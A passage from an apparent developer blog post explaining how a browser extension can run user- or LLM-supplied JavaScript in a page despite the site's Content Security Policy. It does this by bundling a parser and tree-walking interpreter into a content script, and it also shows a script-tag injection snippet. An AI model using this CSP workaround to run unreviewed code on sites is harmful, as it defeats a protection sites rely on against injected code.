class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">args</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-meta syntax-sequence syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">[</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">userCode</span><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">]</span></span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n\n<span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> Injecting a script tag\n</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">chrome</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">scripting</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">executeScript</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">target</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span> <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">tabId</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">tab</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">id</span> <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\"><span class=\"syntax-entity syntax-name syntax-function syntax-js\">func</span></span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> </span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">code</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span><span class=\"syntax-storage syntax-type syntax-function syntax-arrow syntax-js\">=&gt;</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n        <span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">script</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-support syntax-function syntax-dom syntax-js\">createElement</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>script<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n        <span class=\"syntax-variable syntax-other syntax-object syntax-js\">script</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">textContent</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">code</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n        <span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">body</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-support syntax-function syntax-dom syntax-js\">appendChild</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">script</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n    <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">args</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-meta syntax-sequence syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">[</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">userCode</span><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">]</span></span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n</span></span></code></pre>\n<p>These can work depending on the CSP of the site, but as I said, on bigger sites, these are usually super not allowed. So how can we make this work?</p>\n<h2>A matter of interpretation</h2>\n<p>So how can we make code dynamically defined at runtime by a user or an LLM statically defined? Well, we really can't. But what we can statically define is a parser and interpreter that takes that string of code and interprets it. If you want to learn more about interpreters, I suggest reading Bob Nystrom's <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://craftinginterpreters.com/\">Crafting Interpreters</a>. It's an especially accessible book on the matter of parsing, compilation, and interpretation, especially compared to the books that I learned from, like the Dragon Book.</p>\n<p>We can define a simple interface for our interpreter that looks like this:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-meta syntax-import syntax-js\"><span class=\"syntax-keyword syntax-control syntax-import-export syntax-js\">import</span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">Interpreter</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">parse</span> <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span> <span class=\"syntax-keyword syntax-control syntax-import-export syntax-js\">from</span> <span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>@mariozechner/jailjs<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n\n<span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">ast</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-function-call syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">parse</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>2 + 2<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">interpreter</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-instance syntax-constructor syntax-js\"><span class=\"syntax-keyword syntax-operator syntax-word syntax-new syntax-js\">new</span><span class=\"syntax-meta syntax-function-call syntax-constructor syntax-js\"> <span class=\"syntax-variable syntax-type syntax-js\">Interpreter</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">result</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">interpreter</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">evaluate</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">ast</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n</span></span></code></pre>\n<p>Let's totally ignore what <code>parse</code> and <code>interpreter.evaluate</code> do on the inside. All we need to know at this stage is that <code>parse</code> returns an <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://en.wikipedia.org/wiki/Abstract_syntax_tree\">abstract syntax tree</a>. That is the input to the interpreter, which then walks this tree structure and evaluates each node within it, simulating what the JavaScript engine would do, just in a very, very slow way. In the above example, <code>result</code> would be assigned the number four, which is the evaluation result of the JavaScript code.</p>\n<p>So how can we jam the parser and interpreter into a self-contained function that we can execute via <code>chrome.scripting.executeScript</code> in the active tab's JavaScript context?</p>\n<p>The trick is to use a content script. Content scripts are JavaScript files that run in the context of web pages, and they can be bundled with all their dependencies using a tool like esbuild. We bundle the parser and interpreter into our content script, which gets loaded for every page. The content script then sets up a message listener that receives code to execute and returns the result.</p>\n<p>Here's the minimal setup:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> content.js - bundled with parser and interpreter\n</span><span class=\"syntax-meta syntax-import syntax-js\"><span class=\"syntax-keyword syntax-control syntax-import-export syntax-js\">import</span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">Interpreter</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">parse</span> <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span> <span class=\"syntax-keyword syntax-control syntax-import-export syntax-js\">from</span> <span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>@mariozechner/jailjs<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n\n<span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">interpreter</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-instance syntax-constructor syntax-js\"><span class=\"syntax-keyword syntax-operator syntax-word syntax-new syntax-js\">new</span><span class=\"syntax-meta syntax-function-call syntax-constructor syntax-js\"> <span class=\"syntax-variable syntax-type syntax-js\">Interpreter</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n\n<span class=\"syntax-variable syntax-other syntax-object syntax-js\">chrome</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">runtime</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">onMessage</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">addListener</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">message</span><span class=\"syntax-punctuation syntax-separator syntax-parameter syntax-function syntax-js\">,</span> <span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">sender</span><span class=\"syntax-punctuation syntax-separator syntax-parameter syntax-function syntax-js\">,</span> <span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">sendResponse</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span><span class=\"syntax-storage syntax-type syntax-function syntax-arrow syntax-js\">=&gt;</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-meta syntax-conditional syntax-js\"><span class=\"syntax-keyword syntax-control syntax-conditional syntax-js\">if</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">message</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">type</span> <span class=\"syntax-keyword syntax-operator syntax-comparison syntax-js\">===</span> <span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>EXECUTE_CODE<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n        <span class=\"syntax-meta syntax-try syntax-js\"><span class=\"syntax-keyword syntax-control syntax-trycatch syntax-js\">try</span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n            <span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">ast</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-function-call syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">parse</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">message</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">code</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n            <span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">result</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">interpreter</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">evaluate</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">ast</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n            <span class=\"syntax-meta syntax-function-call syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">sendResponse</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span> <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">success</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-constant syntax-language syntax-boolean syntax-true syntax-js\">true</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">result</span> <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n        </span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span> <span class=\"syntax-meta syntax-catch syntax-js\"><span class=\"syntax-keyword syntax-control syntax-trycatch syntax-js\">catch</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">error</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n            <span class=\"syntax-meta syntax-function-call syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">sendResponse</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span> <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">success</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-constant syntax-language syntax-boolean syntax-false syntax-js\">false</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">error</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">error</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">message</span> <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n        </span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span>\n    </span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span>\n    <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-constant syntax-language syntax-boolean syntax-true syntax-js\">true</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span> <span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> Keep channel open for async response\n</span><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n</span></span></code></pre>\n<p>And from our extension's side panel or popup, we send the code:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> Send code to content script\n</span><span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-meta syntax-sequence syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">[</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">tab</span><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">]</span></span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">await</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">chrome</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">tabs</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">query</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span> <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">active</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-constant syntax-language syntax-boolean syntax-true syntax-js\">true</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">currentWindow</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-constant syntax-language syntax-boolean syntax-true syntax-js\">true</span> <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">response</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">await</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">chrome</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">tabs</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">sendMessage</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">tab</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">id</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">type</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>EXECUTE_CODE<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">code</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">userCode</span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n\n<span class=\"syntax-meta syntax-conditional syntax-js\"><span class=\"syntax-keyword syntax-control syntax-conditional syntax-js\">if</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">response</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">success</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-support syntax-type syntax-object syntax-console syntax-js\">console</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-support syntax-function syntax-console syntax-js\">log</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>Result:<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">response</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">result</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n</span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span>\n</span></span></code></pre>\n<p>And that's the basic setup. The content.js file is all static, the interpreter is all static and known ahead of time. But it lets us execute arbitrary code, albeit slowly, irrespective of the site's CSP. We are not using eval, new Function, or a script tag.</p>\n<p>Congratulations us, we just broke the web.</p>\n<h2>Nitty gritty details</h2>\n<p>Alright, let's look inside <code>parse</code> and the interpreter. Starting with parsing, while I am a madman, I'm not mad enough to write a JavaScript parser. Instead, I'm using the marvelous work of the <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://babeljs.io/\">Babel</a> team, who have graciously created a wonderful little standalone package, <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://babeljs.io/docs/babel-standalone\">Babel standalone</a>, which makes parsing JavaScript into a well-defined abstract syntax tree easy as pie.</p>\n<p>Here's what the AST for a simple program looks like:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-storage syntax-type syntax-js\">var</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">x</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-constant syntax-numeric syntax-js\">5</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-storage syntax-type syntax-js\">var</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">y</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-constant syntax-numeric syntax-js\">10</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">x</span> <span class=\"syntax-keyword syntax-operator syntax-arithmetic syntax-js\">+</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">y</span>\n</span></span></code></pre>\n<pre><code class=\"language-json\"><span class=\"code-snippet\" data-language=\"JSON\"><span class=\"syntax-source syntax-json\"><span class=\"syntax-meta syntax-structure 